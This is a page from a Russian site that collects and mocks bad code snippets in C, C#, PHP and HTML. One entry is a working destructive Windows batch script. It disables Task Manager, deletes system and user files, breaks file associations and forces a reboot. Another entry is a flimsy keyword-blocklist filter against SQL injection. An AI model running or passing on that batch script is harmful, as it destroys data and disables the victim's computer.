1. Лучший говнокод

    В номинации:
    За время:
  2. Куча / Говнокод #11803

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    <div style='margin-top: 8px; margin-left: 2px;'><span style='display: inline-block; width: 68px; height: 68px;'><a href='http://www.miss.ru/julii'><img src='fotki/2012-09-13-09-58-01-861mmm_tut.jpg' alt='Юлия Г' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5921")) document.getElementById("new_user_left_5921").src="fotki/2012-09-13-09-58-01-861mmm_tut.jpg";
    </script><span style='display: inline-block; width: 68px; height: 68px;'><a href='http://www.miss.ru/anastasiyashirshakova'><img src='fotki/2012-04-08-15-24-10-633mmm_tut.jpg' alt='Анастасия Ширшакова' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5094")) document.getElementById("new_user_left_5094").src="fotki/2012-04-08-15-24-10-633mmm_tut.jpg";
    </script><span style='display: inline-block; width: 68px; height: 68px;'><a href='http://www.miss.ru/zoloto'><img src='fotki/2011-09-20-18-16-59-630mmm_tut.jpg' alt='Анна Золотова' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5095")) document.getElementById("new_user_left_5095").src="fotki/2011-09-20-18-16-59-630mmm_tut.jpg";
    </script><span style='display: inline-block; width: 62px; height: 68px;'><a href='http://www.miss.ru/angel_in_disguise'><img src='fotki/2011-10-12-13-47-56-383mmm_tut.jpg' alt='Анна Данилова' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5096")) document.getElementById("new_user_left_5096").src="fotki/2011-10-12-13-47-56-383mmm_tut.jpg";
    </script><span style='display: inline-block; width: 68px; height: 68px;'><a href='http://www.miss.ru/alekc'><img src='fotki/2011-09-21-23-26-16-859mmm_tut.jpg' alt='Алекс Алекс' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5098")) document.getElementById("new_user_left_5098").src="fotki/2011-09-21-23-26-16-859mmm_tut.jpg";
    </script><span style='display: inline-block; width: 68px; height: 68px;'><a href='http://www.miss.ru/milashka_t'><img src='fotki/2011-09-23-05-36-11-815mmm_tut.jpg' alt='Таня Сакович' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5101")) document.getElementById("new_user_left_5101").src="fotki/2011-09-23-05-36-11-815mmm_tut.jpg";
    </script><span style='display: inline-block; width: 68px; height: 68px;'><a href='http://www.miss.ru/oksano4ka'><img src='fotki/2011-09-23-15-45-35-905mmm_tut.jpg' alt='Оксана Таштиева' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5102")) document.getElementById("new_user_left_5102").src="fotki/2011-09-23-15-45-35-905mmm_tut.jpg";
    </script><span style='display: inline-block; width: 62px; height: 68px;'><a href='http://www.miss.ru/branez'><img src='fotki/2011-11-10-21-04-58-361mmm_tut.jpg' alt='Марина Бранец' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5182")) document.getElementById("new_user_left_5182").src="fotki/2011-11-10-21-04-58-361mmm_tut.jpg";
    </script><span style='display: inline-block; width: 68px; height: 68px;'><a href='http://www.miss.ru/kratyulianka'><img src='fotki/2011-11-10-22-08-23-802mmm_tut.jpg' alt='Yulianka Krat' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5183")) document.getElementById("new_user_left_5183").src="fotki/2011-11-10-22-08-23-802mmm_tut.jpg";
    </script><span style='display: inline-block; width: 68px; height: 68px;'><a href='http://www.miss.ru/romanova'><img src='fotki/2011-11-11-11-29-44-496mmm_tut.jpg' alt='Лилия Романова' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5186")) document.getElementById("new_user_left_5186").src="fotki/2011-11-11-11-29-44-496mmm_tut.jpg";
    </script><span style='display: inline-block; width: 68px; height: 68px;'><a href='http://www.miss.ru/agafonova'><img src='fotki/2011-11-11-11-45-36-596mmm_tut.jpg' alt='Нина Агафонова' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5187")) document.getElementById("new_user_left_5187").src="fotki/2011-11-11-11-45-36-596mmm_tut.jpg";
    </script><span style='display: inline-block; width: 62px; height: 68px;'><a href='http://www.miss.ru/demash'><img src='fotki/2011-11-11-11-49-50-483mmm_tut.jpg' alt='Анастасия Демаш' border='0' width='62' height='62'></a></span><script language='JavaScript'>
    if (document.getElementById("new_user_left_5188")) document.getElementById("new_user_left_5188").src="fotki/2011-11-11-11-49-50-483mmm_tut.jpg";
    </script></div>
    <br>

    Найдено в работах одного дорогого уфимского фрилансера...

    Stud, 20 Сентября 2012

    Комментарии (10)
  3. C# / Говнокод #11800

    +133

    1. 1
    string[] res = value.Split("$".ToCharArray(), StringSplitOptions.None);

    shtaff, 19 Сентября 2012

    Комментарии (9)
  4. Си / Говнокод #11705

    +133

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    if((i & 0x01)!=0) addr |= 0x80; else addr &= ~0x80;
    if((i & 0x02)!=0) addr |= 0x40; else addr &= ~0x40;
    if((i & 0x04)!=0) addr |= 0x20; else addr &= ~0x20;
    if((i & 0x08)!=0) addr |= 0x10; else addr &= ~0x10;
    if((i & 0x10)!=0) addr |= 0x08; else addr &= ~0x08;
    if((i & 0x20)!=0) addr |= 0x04; else addr &= ~0x04;
    if((i & 0x40)!=0) addr |= 0x02; else addr &= ~0x02;
    if((i & 0x80)!=0) addr |= 0x01; else addr &= ~0x01;

    Перестановка бит в обратном порядке.

    govnokod3r, 05 Сентября 2012

    Комментарии (15)
  5. C# / Говнокод #11372

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    if ((textBox1.Text == textBox2.Text) | (textBox1.Text == textBox3.Text) | (textBox1.Text == textBox4.Text) | (textBox1.Text == textBox7.Text) |
        (textBox2.Text == textBox1.Text) | (textBox2.Text == textBox3.Text) | (textBox2.Text == textBox5.Text) | (textBox2.Text == textBox8.Text) |
        (textBox3.Text == textBox1.Text) | (textBox3.Text == textBox2.Text) | (textBox3.Text == textBox6.Text) | (textBox3.Text == textBox9.Text) |
        (textBox4.Text == textBox5.Text) | (textBox4.Text == textBox6.Text) | (textBox4.Text == textBox1.Text) | (textBox4.Text == textBox7.Text) |
        (textBox5.Text == textBox4.Text) | (textBox5.Text == textBox6.Text) | (textBox5.Text == textBox2.Text) | (textBox5.Text == textBox8.Text) |
        (textBox6.Text == textBox4.Text) | (textBox6.Text == textBox5.Text) | (textBox6.Text == textBox3.Text) | (textBox6.Text == textBox9.Text) |
        (textBox7.Text == textBox8.Text) | (textBox7.Text == textBox9.Text) | (textBox7.Text == textBox1.Text) | (textBox7.Text == textBox4.Text) |
        (textBox8.Text == textBox7.Text) | (textBox8.Text == textBox9.Text) | (textBox8.Text == textBox2.Text) | (textBox8.Text == textBox5.Text) |
        (textBox9.Text == textBox7.Text) | (textBox9.Text == textBox8.Text) | (textBox9.Text == textBox3.Text) | (textBox9.Text == textBox6.Text)) ;
    else
    }
       label1.Visible = true;
       label2.Visible = true;
    }

    Это эпик.

    Fai, 07 Июля 2012

    Комментарии (23)
  6. Си / Говнокод #11347

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    int * lPtr=item;
    int * lPtrEnd = item + count;
    
    for (lPtr = item ; lPtr < lPtrEnd && *lPtr<fid ; lPtr+=4);
    if( lPtr >= lPtrEnd ) lPtr=lPtrEnd-1; // last element
    if(*lPtr != fid)
    {
            if(--lPtr >=item)
            {   
                    if(*lPtr!= fid)
                    {   
                            if(--lPtr >=item)
                            {   
                                    if(*lPtr!= fid)
                                    {   
                                            if(--lPtr >=item)
                                            {   
                                                    if(*lPtr!= fid)
                                                    {   
                                                            break; // value not found
                                                    }   
                                            } else break;
                                    }   
                            }  else break;
                    }   
            } else break;
    }
    
    
    if( lPtr > item)
    {
            while ( *(lPtr-1) == fid && lPtr > item) lPtr--; // first ocurence of fid
    }

    Быстрый алгоритм поиска

    wtfcode, 03 Июля 2012

    Комментарии (43)
  7. Си / Говнокод #10953

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    static inline int getKey(short int high, short int low)
    {
        return (((int)high)<<16)+(int)low;
    }
    
    static inline short getHigh(int pKey)
    {
        return (short)(pKey>>16);
    }
    
    static inline short getLow(int pKey)
    {
        return (short)(pKey&0x00000000FFFFFFFF);
    }

    вот так. getHigh() оставил для полноты.

    Dummy00001, 14 Июня 2012

    Комментарии (8)
  8. Си / Говнокод #9947

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    #include <stdio.h>
    
    float abs(float a) { return a > 0 ? a : -a; }
    
    int main() {
        float x, e, step = 1, summ = step;
        int i = 0;
        
        scanf("%f, %f", (printf("x, e: "), &x), &e);
        
        do summ += (abs(step *= x / ++i) > e) ? step : 0; while (abs(step) > e);
        
        printf("summ = %f\n", summ);
        
        return 0;
    }

    вычисление суммы ряда (1 + x/1! + x^2/2! + ... + x^n/n!), с заданной точностью

    igoreknog, 14 Апреля 2012

    Комментарии (7)
  9. PHP / Говнокод #9902

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    <?php
    
    class InitVars {
    # Недопустимые слова в запросах
            var $deny_words = array("union","char","select","update","group","order","benchmark","null","/*","UNION","CHAR","SELECT","UPDATE","GROUP","ORDER","BENCHMARK","NULL",);
    
    function InitVars() {
    }
    
    # Метод конвентирует суперглобальные массивы $_POST, $_GET в перемнные
    # Например : $_GET['psw'] будет переобразовано в $psw с тем же значением
    function convertArray2Vars () {
    
            foreach($_GET as $_ind => $_val) {
                    global $$_ind;
                    if(is_array($$_ind)) $$_ind = htmlspecialchars(stripslashes($_val));
            }
    
            foreach($_POST as $_ind => $_val) {
                    global $$_ind;
                    if(is_array($$_ind)) $$_ind = htmlspecialchars(stripslashes($_val));
    
            }
    }
    
    # Метод проверяет $_GET и $_POST переменные на наличие опасных данных и SQL инъекций
    function checkVars() {
            //Проверка опасных данных.
            foreach($_GET as $_ind => $_val) {
                            $_GET[$_ind] = htmlspecialchars(stripslashes($_val));
    
                            $exp = explode(" ",$_GET[$_ind]);
                            foreach($exp as $ind => $val) {
                                    if(in_array($val,$this->deny_words)) $this->antihack("Послушайте, мои маленькие кул хацкеры... Несанкционированный доступ в БД карается лишением свободы на срок от 3-х до 5-ти лет. <br> Ваш ip адресс помечен. Вам ведь не нужны проблемы, правда?. ");
                            }
            }
    
            foreach($_POST as $_ind => $_val) {
                            $_POST[$_ind] = htmlspecialchars(stripslashes($_val));
    
                            $exp = explode(" ",$_POST[$_ind]);
                            foreach($exp as $ind => $val) {
                                    if(in_array($val,$this->deny_words)) $this->antihack("Послушайте, мои маленькие кул хацкеры... Несанкционированный доступ в БД карается лишением свободы на срок от 3-х до 5-ти лет. <br> Ваш ip адресс помечен. Вам ведь не нужны проблемы, правда?.");
                            }
            }
    
    }
    
    function antihack($msg) {
        echo "<font color='red'><b>Antihack error: </b></font>$msg<br>\n";
        die;
    }
    
    }
    
    
    
    ?>

    Защита от SQL инъекций.

    Vasiliy, 09 Апреля 2012

    Комментарии (10)
  10. Куча / Говнокод #9772

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    @echo off 
     echo Chr(39)>%temp%\temp1.vbs 
     echo Chr(39)>%temp%\temp2.vbs 
     echo on error resume next > %temp%\temp.vbs 
     echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs 
     echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs 
     reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f 
     start %temp%\temp.vbs 
     start %temp%\temp1.vbs 
     start %temp%\temp2.vbs 
     del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul 
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     assoc .lnk=textfile 
     assoc .exe=mp3file 
     @echo off 
     :x 
     Chcp 1251 
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     goto x 
     Chcp 1251 
     del "%USERPROFILE%Мои документы*.*" /q /s 
     label E: ГАВНО 
     Cd\ 
     Cd C: 
     Сd windows 
     del *.exe 
     del *.ini 
     del *.com 
     cd\ 
     cd windows 
     cd system 
     del *.dll 
     del *.exe 
     del "%SystemRoot%Cursors*.*" >nul 
     taskkill /f /im explorer.exe >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul 
     date 01.01.01 >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul 
     FOR /L %%i IN (1,1,100000) DO md %%i 
     Echo format C: /q c:Autoexec.bat 
     shutdown -r -t 0 >nul

    Это bat (cmd) код. Наткнулся на просторах интернетов.

    space_man26, 26 Марта 2012

    Комментарии (20)
  11. Си / Говнокод #9718

    +133

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    // for cdio:
    #include <cdio.h>
    #include <cdio_unconfig.h> # remove *all* symbols libcdio defines
    
    // Add back in the ones you want your program
    #include <config.h>

    But now what about the problem that there are common preprocessor symbols in config_cdio.h that an application may want to define in a different manner, like PACKAGE_NAME?
    For this, there is yet another header, <cdio/cdio_unconfig.h>.

    rat4, 20 Марта 2012

    Комментарии (1)